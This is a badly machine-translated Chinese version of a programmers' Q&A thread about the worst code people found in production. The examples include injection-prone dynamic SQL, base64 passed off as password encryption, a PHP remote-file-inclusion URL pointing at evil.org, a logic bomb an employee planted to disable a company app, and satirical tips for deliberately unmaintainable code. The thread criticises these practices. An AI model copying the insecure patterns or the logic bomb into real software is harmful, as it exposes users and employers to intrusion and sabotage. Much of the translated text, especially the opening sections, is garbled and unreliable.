题
什么是最邪恶或危险的代码碎片你有没有看到生产环境中在公司?我从来没有遇到产生的代码,我将认为是故意恶意的和邪恶的,所以我很好奇看到什么其他人已经找到。
最危险的代码,我曾经看到的是一个存储的过程中两个相连的服务器上的远离我们的核心生产的数据库服务器。存储程序接受任何限(8000)参数和执行的参数对目标的生产服务器通过双跳计划运命令。这就是说,计划运命令执行的另一个计划运命令以跳两个相连的服务器。哦,链接的服务器账户有管理员权利的目标上生产服务器。
解决方案
警告:长期可怕的后续前进
我已经写了一个应用我之前 在这里, 和 在这里,.简单地说,我的公司所继承的130 000线的垃圾从印度。该应用程序中;这是一个出纳应用程序,同一种软件的人使用柜台后面,只要你去银行。该应用程序崩溃的40-50次一天,并且它根本不能重构到工作的代码。我的公司不得不重新写入整个程序过去12个月。
为什么是这个应用程序的邪恶?因为看源代码就足以驱动器的一个理智的人生气和疯狂的人理智。扭曲的逻辑,用于编写这种申请可能只有启发通过一种消失的恶梦。唯一这个应用程序的特点包括:
出为130,000行代码,整个应用程序包含5类(不包括形成文件)。所有这些都是公共静态的课程。有一类被称为Globals.cs,其中载有1000和1000和1000公共静态的变量,用于保存整个国家的应用程序。这五个类别中所包含20,000行代码总数中,与剩余的码嵌入的形式。
你必须想知道,是怎么做到的程序管理,以编写这样的一个很大的应用程序,没有任何类?什么他们用来代表他们的数据的对象?事实证明的程序员设法重新发明一半的概念,我们都了解面向对象只是通过结合arraylist中,HashTables,数据表.我们看到了很多这样的:
- Arraylist中的hashtables
- Hashtables与串钥匙和数据行的价值观
- Arraylist中的数据表
- DataRows含arraylist中载有HashTables
- Arraylist中的DataRows
- Arraylist中的arraylist中
- HashTables与串钥匙和HashTable值
- Arraylist中的arraylist中的HashTables
- 每一个其他的组合arraylist中,HashTables,数据表你可以想到的。
请记住,没有一个数据结构上是强类型,所以你必须投什么神秘象你出去的列表,以正确的类型。这是惊人的是什么样的复杂,鲁本*戈德堡-像数据结构,您可以创建使用只是arraylist中,HashTables,数据表.
共享一个如何使用对象模型上面详述的,考虑账户:原始程序员创建一个单独的HashTable每个concievable财产的一个帐户:HashTable称为hstAcctExists,hstAcctNeedsOverride,hstAcctFirstName.钥匙用于所有这些hashtables是"|"分开串。可以想象的钥匙包括"123456|DDA","24100|SVG","100|LNS",等等。
由于国家的整个程序很容易从全球变量,该程序员发现没有必要通过参数的方法。我会说,90%的方法把0参数。几个这样,所有参数是通过为串为了方便,无论什么样的串的代表。
副作用的功能并不存在。每一方法的修改1个或多个变量在Globals类。不是所有的副作用作出;例如,一个形式的验证方法有一个神秘的副作用的计算和短期贷款支付任何帐户是储存Globals.lngAcctNum.
虽然有很多形式,有一种形式来统治他们所有的:图像.cs,其中载有高达20 000名行代码。什么图像做什么?一切。它看起来帐户、印刷收益,分配的现金,它所做的一切。
有时其他形式根据需要调用的方法在图像.而不是的因素码的形式纳入一个单独的类,为什么不直接引用代码直接:
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
看起来账户,该程序员做这样的事情:
bool blnAccountExists = new frmAccounts().GetAccountInfo().blnAccountExists
糟糕,因为它已经是创建一个无形的形式来执行业务的逻辑,你怎么认为的形式,知道哪些帐户看起来?这很简单:形式可以访问Globals.lngAcctNum和Globals.strAcctType.(谁不爱匈牙利表示法?)
代码的再利用是一个代名词ctrl-c ctrl-v。我找到200线方法复制、粘贴在20形式。
该应用程序有一个奇怪的穿的模式,我喜欢的东西来电话线和定时器模型:每一种形式,产生了一线有一个定时器。每个线程,衍生了一个计时器有一种200毫秒的拖延;一旦计时器开始,它将检查,看如果该线设置了一些神奇的布尔,那么它将中止的螺纹。所得ThreadAbortException被吞噬。
你会觉得你只会看到这种模式一旦,但我发现它在至少10个不同的地方。
说到线程中,关键词"锁定"从来没有出现在该应用程序。线操纵全球国家自由而不把锁。
每个方法在应用程序包含一个尝试/抓块。每一例外的是记录和吞食。
谁需要开枚举的时开串只是作为容易的!
一些天才想通了,你可以挂钩的多种形式的控制的同一事件的处理程序。怎么程序处理?
private void OperationButton_Click(object sender, EventArgs e) { Button btn = (Button)sender; if (blnModeIsAddMc) { AddMcOperationKeyPress(btn); } else { string strToBeAppendedLater = string.Empty; if (btn.Name != "btnBS") { UpdateText(); } if (txtEdit.Text.Trim() != "Error") { SaveFormState(); } switch (btn.Name) { case "btnC": ResetValues(); break; case "btnCE": txtEdit.Text = "0"; break; case "btnBS": if (!blnStartedNew) { string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1); DisplayValue((EditText == string.Empty) ? "0" : EditText); } break; case "btnPercent": blnAfterOp = true; if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false); decCurrValue = decResultValue * decCurrValue / intFormatFactor; DisplayValue(GetValueString(decCurrValue)); AddToTape(GetValueString(decCurrValue), string.Empty, true, false); strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20) + strOpPressed.PadRight(3); if (arrLstTapeHist.Count == 0) { arrLstTapeHist.Add(strToBeAppendedLater); } blnEqualOccurred = false; blnStartedNew = true; } break; case "btnAdd": case "btnSubtract": case "btnMultiply": case "btnDivide": blnAfterOp = true; if (txtEdit.Text.Trim() == "Error") { btnC.PerformClick(); return; } if (blnNumPressed || blnEqualOccurred) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (Operation()) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue(GetValueString(decResultValue)); } else { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue("Error"); } strOpPressed = btn.Text; blnEqualOccurred = false; blnNumPressed = false; } } else { strOpPressed = btn.Text; AddToTape(GetValueString(0), (string)btn.Text, false, false); } if (txtEdit.Text.Trim() == "Error") { AddToTape("Error", string.Empty, true, true); btnC.PerformClick(); txtEdit.Text = "Error"; } break; case "btnEqual": blnAfterOp = false; if (strOpPressed != string.Empty || strPrevOp != string.Empty) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (OperationEqual()) { DisplayValue(GetValueString(decResultValue)); } else { DisplayValue("Error"); } if (!blnEqualOccurred) { strPrevOp = strOpPressed; decHistValue = decCurrValue; blnNumPressed = false; blnEqualOccurred = true; } strOpPressed = string.Empty; } } break; case "btnSign": GetValueDecimal(txtEdit.Text, out decCurrValue); DisplayValue(GetValueString(-1 * decCurrValue)); break; } } }
同一天才也发现了光荣的三操作员。这里有一些代码样本:
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty : chkDebits.Checked ? "D" : chkCredits.Checked ? "C" : "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
这是一段代码这表明了典型的滥用StringBuilder.注意到如何程序,可以连接串在一个循环,然后追加的所得串StringBuilder:
private string CreateGridString() { string strTemp = string.Empty; StringBuilder strBuild = new StringBuilder(); foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows) { strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' '); strTemp += " "; strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy"); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' '); strTemp += " "; strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62); strBuild.AppendLine(strTemp); } strCreateGridString = strBuild.ToString(); return strCreateGridString;//strBuild.ToString(); }
没有主键指标,或外国主要制约因素存在于表,几乎所有领域的类型varchar(50),以及100%的领域是可为空。有趣的是,位域不是用来存储布尔的数据;而不是一个char(1)领域被使用,而人物'Y'和'N'用来表示真正的和虚假的分别。
发言的数据库,这里有一个代表性例子的存储程序:
ALTER PROCEDURE [dbo].[Get_TransHist] ( @TellerID int = null, @CashDrawer int = null, @AcctNum bigint = null, @StartDate datetime = null, @EndDate datetime = null, @StartTranAmt decimal(18,2) = null, @EndTranAmt decimal(18,2) = null, @TranCode int = null, @TranType int = null ) AS declare @WhereCond Varchar(1000) declare @strQuery Varchar(2000) Set @WhereCond = ' ' Set @strQuery = ' ' If not @TellerID is null Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar) If not @CashDrawer is null Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar) If not @AcctNum is null Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar) If not @StartDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + '''' If not @EndDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + '''' If not @TranCode is null Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar) If not @EndTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar) If not @StartTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt as varchar) If not (@TranType is null or @TranType = -1) Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar) --Get the Teller Transaction Records according to the filters Set @strQuery = 'SELECT TT.TranAmt as [Transaction Amount], TT.TranCode as [Transaction Code], RTrim(LTrim(TT.TranDesc)) as [Transaction Description], TT.AcctNbr as [Account Number], TT.TranID as [Transaction Number], Convert(varchar,TT.ActivityDateTime,101) as [Activity Date], Convert(varchar,TT.EffDate,101) as [Effective Date], Convert(varchar,TT.PostDate,101) as [Post Date], Convert(varchar,TT.ActivityDateTime,108) as [Time], TT.BatchID, TT.ItemID, isnull(TT.DocumentID, 0) as DocumentID, TT.TellerName, TT.CDId, TT.ChkNbr, RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr, (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode, DispensedYN FROM TellerTrans TT WITH (NOLOCK) LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID' Exec (@strQuery)
与所有的说,单个最大的问题,与此有130 000线应用程序:没有单元的测试。
是的,我发出这个故事TheDailyWTF,然后我辞掉我的工作。
其他提示
我见过像这样的密码加密函数
function EncryptPassword($password)
{
return base64_encode($password);
}
在使用信用卡付款的系统中,我们用来存储完整的信用卡号码以及姓名,到期日期等。
事实证明这是非法的,这是具有讽刺意味的,因为我们当时正在为司法部编写该计划。
这是商业代码中的错误处理例程:
/* FIXME! */
while (TRUE)
;
我本来应该找出为什么<!>;应用程序一直锁定<!>“。
立即组合以下所有Php'功能'。
- 注册Globals
- 变量变量
- 通过include(<!> quot; http:// ... <!> quot;)包含远程文件和代码;
-
真正令人震惊的数组/变量名称(文字示例):
foreach( $variablesarry as $variablearry ){ include( $$variablearry ); }
(在我意识到他们 wer不
之前,我花了一个小时试图弄清楚它是如何工作的)
-
包含50个文件,每个文件包含50个文件,并且以条件和不可预测的方式在所有50个文件中线性/程序地执行填充。
醇>
对于那些不了解变量的人:
$x = "hello";
$$x = "world";
print $hello # "world" ;
现在考虑$ x包含来自你的URL的值(注册全局魔术),所以在你的代码中没有任何地方显而易见的是,你所使用的变量是由url决定的。
现在考虑当该变量的内容可以是网站用户指定的网址时会发生什么。 是的,这可能对你没有意义,但它会创建一个名为url的变量,即:
$http://google.com
,
除了无法直接访问,你必须通过上面的双$技术使用它。
此外,如果用户可以在URL上指定一个变量来指示要包含哪个文件,那么就会出现一些令人讨厌的技巧,例如
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
如果该变量出现在include($include)
和'evilcode.php'打印它的代码明文,并且Php被不恰当地保护,php将会关闭,下载evilcode.php,并作为web服务器的用户执行它。
web-sever将为其提供所有权限等,允许shell调用,下载任意二进制文件并运行它们等等,直到最终你想知道为什么你的盒子没有磁盘空间,而且一个目录有8GB的带有意大利语配音的盗版电影,通过机器人在IRC上分享。
我很感激我发现在运行攻击的脚本之前的暴行决定做一些非常危险的事情,比如从或多或少不安全的数据库中收集极其机密的信息:|
(我可以每天使用该代码库来娱乐dailywtf 6个月,我没想到你。在我逃脱该代码后我发现了dailywtf只是一种耻辱)
在主项目头文件中,来自一位老手的COBOL程序员,他在M中编写了一个令人费解的编译器:
int i, j, k;
<!>“所以如果忘记声明循环变量,就不会出现编译器错误。<!> quot;
Windows安装程序。
本文如何编写不可维护的代码涵盖了一些最辉煌的代码人类已知的技术。我最喜欢的一些是:
婴儿名字的新用途
购买婴儿命名书的副本,您永远不会因变量名称而感到茫然。弗雷德是一个很棒的名字,很容易打字。如果您正在寻找易于输入的变量名称,请尝试使用DSK键盘输入adsf或aoeu。
广告拼写错误
如果必须使用描述性变量和函数名称,请拼错它们。通过拼写错误的一些函数和变量名称,并在其他函数中正确拼写(例如SetPintleOpening SetPintalClosing),我们实际上否定了grep或IDE搜索技术的使用。它的效果非常好。通过拼写托里或托里在不同的剧院/剧院添加国际风味。
是抽象
在命名函数和变量时,大量使用抽象词,如它,一切,数据,句柄,东西,做,例程,执行和数字,例如routineX48,PerformDataFunction,DoIt,HandleStuff和do_args_method。
<强>大写强>
在一个单词的中间随机大写一个音节的第一个字母。例如ComputeRasterHistoGram()。
小写字母l看起来很像数字1
使用小写l表示长常量。例如10l更可能被误认为10L是101。禁止任何明确消除uvw wv9 2z 5s il17 |!j oO08“'<!> ;,。 mnn rn {[()]}。要有创意。
回收您的变量
范围规则允许的地方,重用现有的无关变量名称。同样,为两个不相关的目的使用相同的临时变量(声称保存堆栈槽)。对于一个恶魔变体,变形变量,例如,在一个非常长的方法的顶部为变量赋值,然后在中间的某个地方,以一种微妙的方式改变变量的含义,例如将其转换为基于0的坐标到基于1的坐标。确保不要记录这种意义上的变化。
与wwt s mch trsr相关的Cd
在变量或方法名称中使用缩写时,可以使用同一个单词的多个变体来打破厌倦,甚至可以将其拼写为long。这有助于击败那些使用文本搜索的懒惰流浪汉,只了解你的程序的某些方面。将变体拼写视为策略的变体,例如:混合国际色彩,美国色彩和花花公子kulerz。如果你拼写出完整的名字,只有一种方法可以拼写每个名字。这些对于维护程序员来说太容易记住了。因为缩写词有很多不同的方法,所以你可以有几个不同的变量,它们都具有相同的明显目的。作为额外的好处,维护程序员可能甚至不会注意到它们是单独的变量。
模糊的电影参考资料
使用LancelotsFavouriteColour等常量名称而不是蓝色,并为其指定$ 0204FB的十六进制值。颜色看起来与屏幕上的纯蓝色相同,维护程序员必须使用0204FB(或使用一些图形工具)才能知道它的外观。只有熟悉Monty Python和Holy Grail的人才会知道Lancelot最喜欢的颜色是蓝色。如果维护程序员无法从内存中引用整个Monty Python电影,那么他或她就没有业务成为程序员。
记录显而易见的
将代码添加到/ *添加1到i * /之类的注释中,但是,永远不要记录类似于包或方法的总体目的的毛茸茸的东西。
<强>文档怎么没有
仅记录程序的详细信息,而不是它试图完成的内容。这样,如果有错误,修复程序就不知道代码应该做什么。
副作用
在C中,函数应该是幂等的(没有副作用)。我希望提示足够了。
使用八进制
将八进制文字走私到十进制数列表中,如下所示:
array = new int []
{
111,
120,
013,
121,
};
扩展ASCII
扩展的ASCII字符作为变量名完全有效,包括<!>#223;,<!>#208;和<!>#241;字符。如果不在简单的文本编辑器中复制/粘贴,几乎不可能键入它们。
其他语言的名称
使用外语词典作为变量名称的来源。例如,使用德语punkt作为点。没有你对德语的坚定把握,维护程序员将享受破译意义的多元文化体验。
数学名称
选择伪装成数学运算符的变量名称,例如:
openParen = (slash + asterix) / equals;
伪装成评论和反之亦然的代码
包含已注释掉的代码部分,但乍一看似乎不是。
for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3]; * loop is unrolled
total += array[j+4]; * for greater speed.
total += array[j+5]; */
total += array[j+6 ];
total += array[j+7 ];
}
如果没有颜色编码,您会注意到三行代码被注释掉了吗?
伪装成关键字的任意名称
在记录时,您需要一个任意名称来表示文件名,请使用<!> quot; file <!> quot;。切勿使用明显任意的名称,例如<!> quot; Charlie.dat <!> quot;或者<!>“Frodo.txt <!>”;通常,在您的示例中,使用听起来与保留关键字尽可能相似的任意名称。例如,参数或变量的好名称是<!> quot; bank <!> quot;,<!> quot; blank <!> quot;,<!> quot; class <!> quot;,<!> quot; const <!> quot;,<!> quot; constant <!> quot;,<!> quot; input <!> quot;,<!> quot; key <!> quot;,<!> quot; keyword <!> quot;,<!> quot; kind <!> quot;,<!> quot; output <!> quot;,<!> quot; parameter <!> quot; <!> quot; parm <!> quot;,<!> quot; system <!> quot;,<!> quot; type <!> quot;,<!> quot; value <!> quot;,<! > QUOT;!VAR <> QUOT;和<!> quot;变量<!>“;如果你对你的任意名称使用实际保留字,这将被命令处理器或编译器拒绝,那就更好了。如果你做得好,用户将在保留的关键字和你的例子中的任意名称之间毫无希望地混淆,但你可能看起来无辜,声称你这样做是为了帮助他们将适当的目的与每个变量联系起来。
代码名称不得与屏幕名称匹配
选择变量名称与屏幕上显示此类变量时使用的标签完全无关。例如。在屏幕上标注字段<!>“;邮政编码<!>”;但在代码中调用关联变量<!> quot; zip <!> quot;。
选择最佳超载运算符
在C ++中,重载+, - ,*,/来完成与加法,减法等完全无关的事情。毕竟,如果Stroustroup可以使用移位运算符来进行I / O,为什么你不能同样有创意?如果你超载+,请确保你以i = i + 5的方式进行;与i + = 5有着完全不同的含义;这是一个将重载操作符混淆提升到高级艺术的示例。超载'!'类的运算符,但过载与反转或否定无关。使它返回一个整数。然后,为了获得它的逻辑值,你必须使用'! !”。但是,这会颠倒逻辑,所以[鼓声]你必须使用'! ! !”。不要混淆! operator,使用〜按位逻辑否定运算符返回布尔值0或1。
<强>例外强>
我将让你进入一个鲜为人知的编码部门等。例外是背后的痛苦。正确编写的代码永远不会失败,因此异常实际上是不必要的。不要在他们身上浪费时间。子类化异常是指知道其代码将失败的不称职者。通过在调用System.exit()的整个应用程序(在main中)只有一个try / catch,可以大大简化程序。只需在每个方法标题上添加完全标准的抛出集,无论它们是否真的可以抛出任何异常。
Magic Matrix位置
在某些矩阵位置使用特殊值作为标志。一个很好的选择是与均匀坐标系一起使用的变换矩阵中的[3] [0]元素。
重新访问Magic Array Slots
如果您需要给定类型的多个变量,只需定义它们的数组,然后按编号访问它们。选择只有您知道并且不记录它的编号约定。并且不必费心为索引定义#define常量。每个人都应该知道全局变量widget [15]是取消按钮。这只是在汇编代码中使用绝对数字地址的最新变体。
从不美化
切勿使用自动源代码整理(美化)来保持代码对齐。大厅让他们禁止他们离开你的公司,因为他们在PVCS / CVS(版本控制跟踪)中创造了错误的增量,或者每个程序员都应该拥有自己的缩进风格,对于他写的任何模块都是永远神圣不可侵犯的。坚持其他程序员在<!>“他的<!>”中观察那些特殊的约定。模块。禁止美化是非常容易的,即使他们节省数百万次击键进行手动对齐,浪费时间误解错误对齐的代码。只是坚持每个人都使用相同的整理格式,不仅仅是存储在公共存储库中,还包括在编辑时。这启动了一个RWAR和老板,为了保持和平,将禁止自动整理。如果没有自动整理,您现在可以自由地意外地错位代码,从而产生视觉上的错觉,即循环和ifs的实体比它们实际上更长或更短,或者其他条款与它们实际上匹配的不同。 e.g。
if(a)
if(b) x=y;
else x=z;
测试适用于懦夫
勇敢的程序员将绕过这一步。太多的程序员害怕他们的老板,害怕失去工作,害怕客户讨厌邮件而害怕被起诉。这种恐惧使行动瘫痪,并降低了生产力。研究表明,取消测试阶段意味着管理人员可以提前设定发货日期,这对规划过程有明显的帮助。随着恐惧的消失,创新和实验可以开花结果。程序员的作用是生成代码,调试可以通过帮助台和遗留维护组的协作来完成。
如果我们对编码能力充满信心,那么就不需要进行测试。如果我们从逻辑上看这个,那么任何傻瓜都能认识到测试甚至没有尝试解决技术问题,相反,这是一个情绪自信的问题。对这种缺乏信心问题的更有效的解决方案是彻底消除测试并将我们的程序员送到自尊课程。毕竟,如果我们选择进行测试,那么我们必须测试每个程序的变化,但我们只需要向程序员发送一个关于建立自尊的课程。成本效益是显而易见的。
扭转惯常的错误惯例
颠倒通常的真假定义。听起来非常明显,但效果很好。你可以隐藏:
#define TRUE 0
#define FALSE 1
在代码深处的某个地方,以便从程序的内容中挖掘出一些从未见过的文件。然后强制程序进行比较:
if ( var == TRUE )
if ( var != FALSE )
某人必须<!>“更正<!>”;明显的冗余,并以通常的方式在其他地方使用var:
if ( var )
另一种技巧是让TRUE和FALSE具有相同的价值,尽管大多数人都会考虑到这种欺骗行为。使用值1和2或-1和0是一种更微妙的方式来绊倒人们仍然看起来很可敬。您可以通过定义名为TRUE的静态常量在Java中使用相同的技术。程序员可能更加怀疑你是不是没有好处,因为在Java中有一个内置的字面值。
利用精神分裂症
Java是关于数组声明的精神分裂症。您可以使用旧的C,方式String x [],(使用混合的前后缀表示法)或新方式String [] x,它使用纯前缀表示法。如果你想真的让人迷惑,请混合使用notationse.g。
byte[ ] rowvector, colvector , matrix[ ];
相当于:
byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;
我不知道我是否会调用代码<!>“evil <!>”;但是我们有一个开发人员会创建Object[]
数组而不是编写类。无处不在。
我已经看到(并发布到thedailywtf)代码,该代码将使每个人在周二的应用程序的重要部分拥有管理员权限。我猜原始开发人员忘记在本地机器测试后删除代码。
我不知道这是否是<!> quot; evil <!> quot;多么被误导(我最近将它发布在The Old New Thing上):
我认识一个喜欢将信息存储为分隔字符串的人。他熟悉数组的概念,如他使用分隔字符串数组所示,但灯泡从未亮起。
基36编码存储整数在弦。
我想从理论上说有些沿线:
- 十六是用来表示数字
- 十六不会使用字母超越F、意G-Z被浪费了
- 废物是坏的
在这个时刻,我正与一个数据库,为储存天的一周,这一事件的发生有可能作为一个7位bitfield(0至127),存储在数据库作为a2-character string从'0'到'3J'.
我记得看到一个登录处理程序接受了一个post请求,并重定向到一个GET,其中用户名和密码作为参数传入。这是针对<!>“企业类<!>”;医疗系统。
我在检查一些日志时注意到了这一点 - 我很想向CEO发送密码。
真正邪恶的是这段精彩的德尔福代码:
type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;
var
myclass : TMyClass;
procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;
如果只有一个类的实例,它的效果很好。但不幸的是,我不得不使用其他实例,并创建了许多有趣的错误。
当我发现这颗宝石时,我不记得我是否晕倒或尖叫,可能两者都是。
也许不是邪恶,但肯定是,呃......被误导了。
我曾经不得不重写<!>“自然语言解析器<!>”;如果......然后声明,它被实现为单个5,000行。
如......
if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...
我在一个ASP.NET MVC网站上看到过以前只做过Web表单的人(并且是一个着名的副本/贴纸!)的代码,它在一个名为javascript的<a>
标签上粘贴了客户端点击事件执行document.location的方法。
我试图解释href
标签上的<=>会做同样的事情!!!
有点邪恶......我认识的人写进了主要的内部公司网络应用程序,每天检查他是否在过去10天内登录了系统。如果没有他登录的记录,则会为公司中的每个人禁用该应用程序。
一旦他听到有关裁员的谣言,他就写下了这篇文章,如果他下台,公司就不得不受苦。我了解它的唯一原因是他度过了2个星期的假期<!>放大器;当网站被淘汰时我打电话给他。他告诉我用他的用户名/密码登录......一切都很好。
当然......几个月后我们都被解雇了。
我的同事喜欢回忆一下使用public static
数据库连接进行所有数据库工作的ASP.NET应用程序。
是的,所有请求都有一个连接。不,也没有锁定。
我记得有设置IIS3运行Perl CGI scripts(是的,这是一个looong时间前)。官方建议在当时是把Perl.exe 在cgi-bin。它的工作,但这也给了 每个人都 访问一个非常强大的脚本的引擎!
SQL查询在ASP应用程序中的javascript中。不能弄脏......
我们有一个应用程序在xml文件中加载了它的所有全局状态。没问题,除了开发人员已经创建了一种新形式的递归。
<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
然后是有趣的部分。当应用程序加载时,它会运行属性列表并将它们添加到全局(平面)列表中,同时递增一个神秘计数器。神秘计数器被命名为完全不相关的东西,用于神秘计算:
List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc
然后你得到像
这样的功能calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}
编辑:澄清 - 我花了很长时间才弄清楚他是在计算递归的深度,因为在6级或7级属性改变了意义,所以他用计数器将他的平面组分成2组不同类型,有类似STATE,STATE,STATE,CITY,CITY,CITY的列表,并检查索引是否<!> gt;反击,看看你的名字是一个城市还是一个州)
而不是为需要经常运行我们的<!>“架构师<!>”的服务器进程编写Windows服务;编写了一个控制台应用程序,并使用任务调度程序每隔60秒运行一次。
请记住,这是在.NET中,服务很容易创建。
-
此外,在同一个地方,控制台应用程序用于托管.NET远程服务,因此他们必须启动控制台应用程序并锁定会话以使其在每次重新启动服务器时都保持运行。
-
在我工作的最后一个地方,其中一位建筑师有一个单个 C#源代码文件,有超过100个类,大小相当于250K。
32个源代码文件,每个代码行超过10K行。每个包含一个类。每个类都包含一个执行<!> quot; everything <!> quot;
的方法在我不得不重构代码之前,这是贬低代码的真正噩梦。
在较早的工作场所,我们继承了一个遗留项目,该项目部分早先已经过时。主应用程序是Java,外包部分是本机C库。有一次我看了C源文件。我列出了目录的内容。有几个源文件超过200K。最大的C文件 600 Kbytes 。
感谢上帝,我从来没有碰过它们: - )
我获得了一系列计划,以便在同事出国时为客户安装(安装所述程序)。每个程序都出现了一个关键的库,并试图找出代码,我意识到从一个程序到下一个程序之间存在微小的差异。在一个公共图书馆。
意识到这一点,我对所有副本进行了文本比较。在16个中,我认为大约有9个独特的。我有点合适。
老板介入并让同事整理一个看似普遍的版本。他们通过电子邮件发送了代码。我不知道,那里有不可打印字符的字符串,以及一些混合编码。这封电子邮件非常糟糕。
不可打印的字符用于将数据(所有字符串!)从服务器发送到客户端。因此,所有字符串都由服务器端的0x03字符分隔,并使用Split函数在C#中重新组装客户端。
somwehat理智的方式应该做:
someVariable.Split(Convert.ToChar(0x03);
更安全和友好的方式是使用常数:
private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);
EVIL方式是我的同事选择的:使用任何<!> quot; print <!> quot;对于Visual Studio中的0x03,并将其放在引号之间:
someVariable.Split('/*unprintable character*/');
此外,在这个库(以及所有相关程序)中,没有一个变量是本地的(我检查了!)。功能被设计为一旦被认为可以安全地浪费它们就恢复相同的变量,或者创建在过程的所有持续时间内都能存活的新变量。我打印了几页并对它们进行了颜色编码。黄色表示<!>“全局,永远不会被另一个函数改变<!>”;红色表示<!>“全局,由几个<!>更改”。格林本来是<!>“本地<!>”,但没有。
哦,我提到控制版了吗?因为当然没有。
ADD ON:我刚刚记得我不久前发现的一个功能。
它的目的是遍历一组数组的整数,并将每个第一个和最后一个项设置为0.它就像这样(不是实际的代码,来自内存,还有更多的C#-esque):
FixAllArrays()
{
for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);
//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}
if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}
当然,重点是每个子阵列都必须在所有项目上完成这两项操作。我只是不确定程序员如何决定这样的事情。
与上面提到的其他人类似:
我在一个在应用程序中使用伪脚本语言的地方工作。它提供了一个包含大约30个参数和巨大的Select Case
语句的大量方法。
现在是时候添加更多参数了,但团队中必须要做的人意识到已经有太多参数了。
他的解决方案?
他在最后添加了一个object
参数,所以他可以传入任何他想要的东西然后再投射。
我无法以足够快的速度离开那个地方。
在我们的客户团队报告了一些奇怪的问题之后,我们注意到应用程序的两个不同版本指向同一个数据库。 (在向他们部署新系统时,他们的数据库已经升级,但是每个人都忘记了他们的旧系统)
这是一个奇迹般的逃脱..
从那时起,我们有一个自动构建和部署过程,谢天谢地: - )
我认为这是一个程序,它将循环加载到pdp-10的通用寄存器中,然后在这些寄存器中执行代码。
你可以在pdp-10上做到这一点。这并不意味着你应该这样做。
编辑:至少这是我最好的(有时很破旧)的回忆。我很遗憾在半自定义数据库高可用性解决方案中找到了相当疯狂的行为。
核心部分并不起眼。红帽企业Linux,MySQL,DRBD和Linux-HA的东西。然而,配置是由完全定制的类似木偶的系统维护的(不出所料,此系统还有许多其他疯狂的例子)。
事实证明,系统正在检查Kickstart在根目录中留下的install.log
文件,以获取创建DRBD配置所需的部分信息。当然,这本身就是邪恶的。您不从未实际定义格式的日志文件中提取配置。但情况会变得更糟。
它没有将这些数据存储在其他任何地方,并且每次运行时,每60秒,它都会咨询<=>。
我会让你猜到第一次有人决定删除这个无用的日志文件时发生的事情。